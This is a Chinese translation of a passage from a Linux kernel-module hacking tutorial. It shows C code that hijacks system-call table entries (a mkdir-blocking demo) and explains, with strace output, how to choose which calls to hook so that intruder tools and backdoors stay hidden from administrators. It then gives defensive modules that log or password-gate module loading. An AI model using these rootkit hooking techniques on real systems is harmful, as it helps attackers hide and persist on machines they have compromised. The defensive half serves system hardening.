作 者: Pragmatic
第二部分 渐入佳境
2.1 如何截获系统调用
现在我们开始入侵LKM,在正常情况下LKMs是用来扩展内核的(特别是那些硬件驱动)。然而我们的‘Hacks’做一些不一样的事情。他们会截获系统调用并且更改他们,为了改变系统某些命令的响应方式。
下面的这个模块可以使得任何用户都不能创建目录。这只不过是我们随后方法的一个小小演示。
#define MODULE
#define __KERNEL__
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
extern void* sys_call_table[];
/*sys_call_talbe 被引入,所以我们可以存取他*/
int (*orig_mkdir)(const char *path);
/*原始系统调用*/
int hacked_mkdir(const char *path)
{
return 0;
/*其他一切正常,除了新建操作,该操作什么也不做*/
}
int init_module(void)
/*初始化模块*/
{
orig_mkdir=sys_call_table[SYS_mkdir];
sys_call_table[SYS_mkdir]=hacked_mkdir;
return 0;
}
void cleanup_module(void)
/*卸载模块*/
{
sys_call_table[SYS_mkdir]=orig_mkdir;
/*恢复mkdir系统调用到原来的哪个*/
}
编译并启动这个模块(见1.1)。然后尝试新建一个目录,你会发现不能成功。由于返回值是0(代表一切正常)我们得不到任何出错信息。在移区模块之后,我们又可以新建目录了。正如你所看到的,我们只需要改变sys_call_table(见1.2)中相对应的入口就可以截获到系统调用了。
截获系统调用的通常步骤如下:
找到你需要的系统调用在sys_call_table[]中的入口(看一眼include/sys/syscall.h)
保存sys_call_table[x]的旧入口指针。(在这里x代表你所想要截获的系统调用的索引)
将你自己定义的新的函数指针存入sys_call_table[x]
你会意识到保存旧的系统调用指针是十分有用的,因为在你的新调用中你会需要他来模拟原始调用。当你在写一个''Hack-LKM''时你所面对的第一个问题是:
我到底该截获哪个系统调用?
2.2一些有趣的系统调用
你并不是一个管理内核的上帝,因此你不知道每一个用户的应用程序或者命令到底使用了那些系统调用。因此我会给你一些提示来帮助你找到获得控制的系统调用。
读源代码。在一个象linux这样的系统中,你可以找到任何一个用户(或者管理员)所用的程序的源代码。一旦你发现了某个基本的函数,像dup,open,write.....转向b
下面看看include/sys/syscall.h(见1.2)。试着去直接找相对应的系统调用(查找dup->你就会发现SYS_dup,查找write,你就会发现SYS_write;....)。如果没有找到转向c
一些象socket,send,receive,....这样的调用并不是通过一个系统调用实现的--正如我以前说过的那样。这时就要看一看包含相关系统调用的头文件。
要记住并不是每一个c库里面的函数都是系统调用。绝大多数这样的函数和系统调用毫无关系。一个稍微有一点经验的hacker会看看1.2里面的列表,那已经提供了足够的信息。例如你要知道用户id管理是通过uid的系统调用实现的等等。如果你真的想确定你可以看看库函数/内核的源代码。
最困难的问题是一个系统管理员写了自己的应用程序来检查系统的完整性或者安全性。关于这些程序的问题在于缺乏源代码。我们不能确定这个程序到底是如何工作的以及我们应该截获那些系统调用来隐藏我们的礼物/工具。甚至有可能他引入了一个截获hacker们经常使用的系统调用的LKM来隐藏他自己,并检查系统的安全性(系统管理员们经常使用一些黑客技术来保护他们的系统)。
那我们应该如何继续呢?
2.2.1 发现有趣的系统调用(strace方法)
假定你已经知道了某个系统管理员用来检查系统的程序(这个可以通过某些其他的方法得到,象TTY hijacking(见2.9/appendix
a),现在唯一的问题是你需要让你的礼物躲过系统管理员的程序直到.....)。
好,现在用strace来运行这个程序(也许你需要root权限来执行他)
# strace super_admin_proggy
这会给你一个十分棒的关于这个程序的每个系统调用的输出。这些系统调用有可能都要加入到你的hacking LKM当中去。我并没有一个这样的管理程序作为例子给你看。但是我们可以看看’strace whoami‘的输出:
execve(""/usr/bin/whoami"", [""whoami""], [/* 50 vars */]) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x40007000
mprotect(0x40000000, 20673, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
mprotect(0x8048000, 6324, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
stat(""/etc/ld.so.cache"", {st_mode=S_IFREG|0644, st_size=13363, ...}) = 0
open(""/etc/ld.so.cache"", O_RDONLY) = 3
mmap(0, 13363, PROT_READ, MAP_SHARED, 3, 0) = 0x40008000
close(3) = 0
stat(""/etc/ld.so.preload"", 0xbffff780) = -1 ENOENT (No such file or
directory)
open(""/lib/libc.so.5"", O_RDONLY) = 3
read(3, ""177ELF111 ""..., 4096) = 4096
mmap(0, 761856, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000c000
mmap(0x4000c000, 530945, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0)
= 0x4000c000
mmap(0x4008e000, 21648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3,
0x81000) = 0x4008e000
mmap(0x40094000, 204536, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40094000
close(3) = 0
mprotect(0x4000c000, 530945, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
munmap(0x40008000, 13363) = 0
mprotect(0x8048000, 6324, PROT_READ|PROT_EXEC) = 0
mprotect(0x4000c000, 530945, PROT_READ|PROT_EXEC) = 0
mprotect(0x40000000, 20673, PROT_READ|PROT_EXEC) = 0
personality(PER_LINUX) = 0
geteuid() = 500
getuid() = 500
getgid() = 100
getegid() = 100
brk(0x804aa48) = 0x804aa48
brk(0x804b000) = 0x804b000
open(""/usr/share/locale/locale.alias"", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=2005, ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x40008000
read(3, ""# Locale name alias data base
#""..., 4096) = 2005
brk(0x804c000) = 0x804c000
read(3, """", 4096) = 0
close(3) = 0
munmap(0x40008000, 4096) = 0
open(""/usr/share/i18n/locale.alias"", O_RDONLY) = -1 ENOENT (No such file
or directory)
open(""/usr/share/locale/de_DE/LC_CTYPE"", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=10399, ...}) = 0
mmap(0, 10399, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40008000
close(3) = 0
geteuid() = 500
open(""/etc/passwd"", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=1074, ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x4000b000
read(3, ""root:x:0:0:root:/root:/bin/bash
""..., 4096) = 1074
close(3) = 0
munmap(0x4000b000, 4096) = 0
fstat(1, {st_mode=S_IFREG|0644, st_size=2798, ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x4000b000
write(1, ""r00t
"", 5r00t
) = 5
_exit(0) = ?
这确实是一个非常美妙的关于命令’whoami‘的系统调用列表,不是么?在这里为了控制’whoami‘的输出需要拦截4个系统调用
geteuid() = 500
getuid() = 500
getgid() = 100
getegid() = 100
可以看看2.6的哪个程序的实现。这种分析程序的方法对于显示其他基本工具的信息也是十分重要的。
我希望现在你能够找到那些能够帮助你隐藏你自己的,或者做系统后门,或者任何你想做的事情的系统调用.
第三部分 解决方案(给系统管理员)
3.1 LKM检测的理论和想法
我想现在该到帮助我们的系统管理员来保护他们的系统的时候了。在解释一些理论以前,为了使你的系统变的安全,请记住如下的基本原则:
绝对不要安装你没有源代码的LKMs。(当然,这对于普通的可执行文件也适用)
如果你有了源代码,要仔细检查他们(如果你能够的话)。还记得tcpd木马问题吗?大的软件包很复杂,因此很难看懂。但是如果你需要一个安全的系统,你必须分析源代码。
甚至你已经遵守了这些原则,你的系统还是有可能被别人闯入并放置LKM(比如说溢出等等)。
因此,可以考虑用一个LKM记录每一个模块的加载,并且拒绝任何一个不是从指定安全安全目录的模块的加载企图。(为了防止简单的溢出。不存在完美的方法...)。记录功能可以通过拦截create_module(...)来很轻易的实现。用同样的方法你也可以检查模块加载的目录.
当然拒绝任何的模块的加载也是有可能的。但是这是一个很坏的方法。因为你确实需要他们。因此我们可以考虑改变模块的加载方式,比如说要一个密码。密码可以在你控制的create-module(...)里面检查。如果密码正确,模块就会被加载,否则,模块被丢弃。
要注意的是你必须掩藏你的模块并使他不可以被卸栽。因此,让我们来看看一些记录LKM和密码保护的实现的原型。(通过保护的create_module(...)系统调用)。
3.1.1 一个使用的检测器的原形
对于这个简单的例子,没有什么可以说的。只不过是拦截了sys_create_module(...)并且记录下了加载的模块的名字。
#define MODULE
#define __KERNEL__
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
extern void* sys_call_table[];
int (*orig_create_module)(char*, unsigned long);
int hacked_create_module(char *name, unsigned long size)
{
char *kernel_name;
char hide[]=""ourtool"";
int ret;
kernel_name = (char*) kmalloc(256, GFP_KERNEL);
memcpy_fromfs(kernel_name, name, 255);
/*这里我们向syslog记录,但是你可以记录到任何你想要的地方*/
printk(""<1> SYS_CREATE_MODULE : %s
"", kernel_name);
ret=orig_create_module(name, size);
return ret;
}
int init_module(void)
/*初始化模块*/
{
orig_create_module=sys_call_table[SYS_create_module];
sys_call_table[SYS_create_module]=hacked_create_module;
return 0;
}
void cleanup_module(void)
/*卸载模块*/
{
sys_call_table[SYS_create_module]=orig_create_module;
}
这就是所有你需要的。当然,你必须加一些代码来隐藏这个模块,这个应该没有问题。在使得这个模块不可以被卸载以后,一个hacker只可以改变记录文件了。但是你也可以把你的记录文件存到一个不可被接触的文件中去(看2.1来获得相关的技巧).当然,你也可以拦截sys_init_module(...)来显示每一个模块。这不过是一个品位问题。
3.1.2 一个密码保护的create_module(...)的例子
这一节我们会讨论如何给一个模块的加载加入密码校验。我们需要两件事情来完成这项任务:
一个检查模块加载的方法(容易)
一个校验的方法(相当的难)
第一点是十分容易实现的。只需要拦截sys_create_module(...),然后检查一些变量,内核就会知道这次加载是否合法了。但是如何进行校验呢?我必须承认我没有花多少时间在这个问题上。因此这个方案并不是太好。但是这是一篇LKM的文章,因此,使用你的头脑去想一些更好的办法。我的方法是,拦截stat(...)系统调用。当你敲任何命令时,系统需要搜索他,stat就会被调用.
因此,在敲命令的同时敲一个密码,LKM会在拦截下的stat系统调用中检查他.[我知道这很不安全;甚至一个Linux
starter都可以击败这种机制.但是(再一次的)这并不是这里的重点....].看看我的实现(我从plaguez的一个类似的LKM中直接抢过来了很多现存的代码....)
#define MODULE
#define __KERNEL__
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
extern void* sys_call_table[];
/*如果lock_mod=1 就是允许加载一个模块*/
int lock_mod=0;
int __NR_myexecve;
/*拦截create_module(...)和stat(...)系统调用*/
int (*orig_create_module)(char*, unsigned long);
int (*orig_stat) (const char *, struct old_stat*);
char *strncpy_fromfs(char *dest, const char *src, int n)
{
char *tmp = src;
int compt = 0;
do {
dest[compt++] = __get_user(tmp++, 1);
}
while ((dest[compt - 1] != '' '') && (compt != n));
return dest;
}
int hacked_stat(const char *filename, struct old_stat *buf)
{
char *name;
int ret;
char *password = ""password"";
/*yeah,一个很好的密码*/
name = (char *) kmalloc(255, GFP_KERNEL);
(void) strncpy_fromfs(name, filename, 255);
/*有密码么?*/
if (strstr(name, password)!=NULL)
{
/*一次仅允许加载一个模块*/
lock_mod=1;
kfree(name);
return 0;
}
else
{
kfree(name);
ret = orig_stat(filename, buf);
}
return ret;
}
int hacked_create_module(char *name, unsigned long size)
{
char *kernel_name;
char hide[]=""ourtool"";
int ret;
if (lock_mod==1)
{
lock_mod=0;
ret=orig_create_module(name, size);
return ret;
}
else
{
printk(""<1>MOD-POL : Permission denied !
"");
return 0;
}
return ret;
}
int init_module(void)
/*初始化模块*/
{
__NR_myexecve = 200;
while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
__NR_myexecve--;
sys_call_table[__NR_myexecve]=sys_call_table[SYS_execve];
orig_stat=sys_call_table[SYS_prev_stat];
sys_call_table[SYS_prev_stat]=hacked_stat;
orig_create_module=sys_call_table[SYS_create_module];
sys_call_table[SYS_create_module]=hacked_create_module;
printk(""<1>MOD-POL LOADED...
"");
return 0;
}
void cleanup_module(void)
/*卸载模块*/
{
sys_call_table[SYS_prev_stat]=orig_stat;
sys_call_table[SYS_create_module]=orig_create_module;
}
代码本身很清楚.下面将会告诉你如何才能让你的LKM更安全,也许这有一些多疑了 :) :
使用另外一种检验方式(使用你自己的用户空间接口,使用你自己的系统调用;使用用户的ID(而不仅仅是普通的密码);也许你有一个生物监测设备->读一些文档并且在linux下编写自己的设备驱动,然后使用他 :) ...)但是,要记住:哪怕是最安全的硬件保护(软件狗,生物监测系统,一些硬件卡)也常常脆弱的不安全的软件而被击败.你可以使用一种这样的机制来让你的系统变得安全:用一块硬件卡来控制你的整个内核.
另外一种不这么极端的方法可以是写你自己的系统调用来负责校验.(见2.11,那里有一个创建一个你自己的系统调用的例子)
找到一个更好的方法在sys_create_module(...)中进行检查.检查一个变量并不是十分的安全.如果某些人控制了你的系统.他是可以修改内存的(见下一章)
找到一个方法使得一个入侵者没有办法通过你的校验来加载他的LKM
加入隐藏的功能.
...
有很多工作可以做.但是即使有了这些工作,你的系统也不是完全就是安全的.如果某些人控制了你的系统,他是可以发现一些方法来加载他的LKM的(见下一章);甚至他并不需要一个LKM,因为他只是控制了这个系统,并不想隐藏文件或者进程(和其他的LKM提供的美妙的功能).
3.2 防止LKM传染者的方法
内存驻留的扫描程序(实时的)(就像DOS下的TSR病毒扫描;或者WIN9x下的VxD病毒扫描)
文件检查扫描器(检查模块文件里面的特征字串)
第一种方法可以通过拦截sys_create_module实现(或者init_module调用).第二种方法需要一些模块文件的特征字串.因此我们必须检查两个elf文件头或者标志位.当然,其他的一些LKM传染者可能使用一些改进了的方法.(加密,自我更改代码等等).我不会提供一个检查文件的扫描器.因为你只不过需要写一个小的用户空间的程序来读进模块文件,并且检查两种elf文件头